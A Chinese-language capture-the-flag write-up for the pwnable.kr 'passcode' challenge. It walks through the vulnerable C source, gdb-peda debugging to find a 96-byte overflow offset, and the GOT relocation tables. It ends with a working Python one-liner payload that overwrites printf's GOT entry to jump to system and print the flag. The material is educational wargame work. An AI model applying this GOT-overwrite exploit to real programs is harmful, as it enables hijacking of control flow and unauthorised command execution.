文章目录
  1. 1. 0x00 分析
  2. 2. 0x01 总结
  3. 3. 0x02 参考

pwnable.kr 上的第五道题


0x00 分析

首先 ssh passcode@pwnable.kr -p2222 连上去,也可以用Xshell,查看目录文件和代码内容

passcode@ubuntu:~$ ls
flag  passcode    passcode.c
passcode@ubuntu:~$ cat passcode.c 
#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

由上面的代码可以看出scanf少了&,这里输入数字会产生崩溃(在没有取地址的时候,程序会在栈上去数据作为地址),看是我认为是将后面的int认为是char[]这样就可以不用取地址了,但是调试后发现并不正确,最后将目光转到welcome函数,我尝试着输入十次0-9的数字,看看他有没有溢出的或者其他的因为login函数里scanf的参数是在栈上的会不会可以覆盖,但是由于对gdb-peda插件的栈中内容没有看懂,误以为栈上的数据就是栈上值,实际栈上的地址,导致判断错了,覆盖的位置,但是判断出的是76,但实际这是栈地址,后来就没有思路了,最后还是上网上找了wp,读了才发现是哪里的问题

调整思路重新调试,如下,首先在login函数下断点

gdb-peda$ pattern create 150 1.txt
Writing pattern of 150 chars to filename "1.txt"
gdb-peda$ b login 
Breakpoint 1 at 0x8048531
gdb-peda$ r <1.txt 
.....
0x8048547 <login+28>:    push   0x8048713
=> 0x804854c <login+33>:    call   0x8048420 <__isoc99_scanf@plt>
0x8048551 <login+38>:    add    esp,0x10
0x8048554 <login+41>:    mov    eax,ds:0x8049a44
0x8048559 <login+46>:    sub    esp,0xc
0x804855c <login+49>:    push   eax
Guessed arguments:
arg[0]: 0x8048713 --> 0x65006425 ('%d')
arg[1]: 0x4c414136 ('6AAL')
[------------------------------------stack-------------------------------------]
0000| 0xffffd3e0 --> 0x8048713 --> 0x65006425 ('%d')
0004| 0xffffd3e4 ("6AALAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd3e8 ("AA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd3ec ("AJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd3f0 ("fAA5AAKAAgAA6AAL")
0020| 0xffffd3f4 ("AAKAAgAA6AAL")
0024| 0xffffd3f8 ("AgAA6AAL")
0028| 0xffffd3fc ("6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804854c in login ()
gdb-peda$ pattern offset 0x4c414136
1279344950 found at offset: 96
gdb-peda$

通过peda插件的Guessed arguments:可以看到scanf的参数,这是之前没有注意到的,通过pattern确定偏移的,位置可以看到在name变量的96位就是scanf的第二个参数要写入的地址,所以可以将将输入的字符写到可以写入的地址,这里我试着将两个scanf的输入地址都改写,但是本地还是没有成功,wp中写在welcome中做了校验,但是我的没有,后来才发现,是编译选项写的不对,没有开启Stack Canary,开启Stack Canary后,name的长度就不能溢出了,否则程序会跳转到___stack_chk_fail函数执行

//Stack Canary 
mov     eax, [ebp+var_C]
xor     eax, large gs:14h
jz      short locret_80486A2

然后根据wp的思路是去改写got表,因为got是可写的,而且可以换劫持控制流

首先,在本地看一下got表,使用readelf -r

root@kali:~/D/tmp/pwnable.kr-passcode# readelf -r ./passcode

Relocation section '.rel.dyn' at offset 0x32c contains 2 entries:
Offset     Info    Type            Sym.Value  Sym. Name
08049a0c  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
08049a44  00000a05 R_386_COPY        08049a44   stdin

Relocation section '.rel.plt' at offset 0x33c contains 8 entries:
Offset     Info    Type            Sym.Value  Sym. Name
08049a1c  00000107 R_386_JUMP_SLOT   00000000   printf
08049a20  00000207 R_386_JUMP_SLOT   00000000   fflush
08049a24  00000307 R_386_JUMP_SLOT   00000000   puts
08049a28  00000407 R_386_JUMP_SLOT   00000000   system
08049a2c  00000507 R_386_JUMP_SLOT   00000000   __gmon_start__
08049a30  00000607 R_386_JUMP_SLOT   00000000   exit
08049a34  00000707 R_386_JUMP_SLOT   00000000   __libc_start_main
08049a38  00000807 R_386_JUMP_SLOT   00000000   __isoc99_scanf

源程序中,在scanf后调用了fflush,printf,exit 三个函数,任选其中一个函数修改成程序中调用system的地址,就能拿到flag

//调用system的地址
.text:080485BA                 sub     esp, 0Ch
.text:080485BD                 push    offset command  ; "/bin/cat flag"
.text:080485C2                 call    _system
.text:080485C7                 add     esp, 10h

所以,综上上面说的将0x08049a1c(printf)得地址改成0x080485BD就行了,这里输入的是十进制0x080485BD==134514109

本地测试如下,本地创建flag文件,内容1234567,可以看到查到flag了

root@kali:~/D/tmp/pwnable.kr-passcode# python -c "print 'A'*96+'\x1c\x9a\x04\x08'+'\n'+'134514109'+'\n'"| ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
1234567
enter passcode1 : Now I can safely trust you that you have credential :)

远程我们要重新查看一下got表,以及调用system的地址,这个和不同环境有关,具体如下:

//查看got
passcode@ubuntu:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
Offset     Info    Type            Sym.Value  Sym. Name
08049ff0  00000606 R_386_GLOB_DAT    00000000   __gmon_start__
0804a02c  00000b05 R_386_COPY        0804a02c   stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

//gdb 查看调用system地址
0x080485e3 <+127>:    movl   $0x80487af,(%esp)
---Type <return> to continue, or q <return> to quit---
0x080485ea <+134>:    call   0x8048460 <system@plt>
0x080485ef <+139>:    leave  

经过计算最后payload如下:

python -c "print 'A'*96+'\x00\xa0\x04\x08'+'\n'+'134514147'+'\n'"| ./passcode

实际运行结果,拿下flag

passcode@ubuntu:~$ python -c "print 'A'*96+'\x00\xa0\x04\x08'+'\n'+'134514147'+'\n'"| ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

0x01 总结

通过这个题,知道了got表是什么样的,怎么重写,怎么利用这样的漏洞

0x02 参考

[1]http://blog.csdn.net/qq_20307987/article/details/51303824 pwnable.kr之passcode

文章目录
  1. 1. 0x00 分析
  2. 2. 0x01 总结
  3. 3. 0x02 参考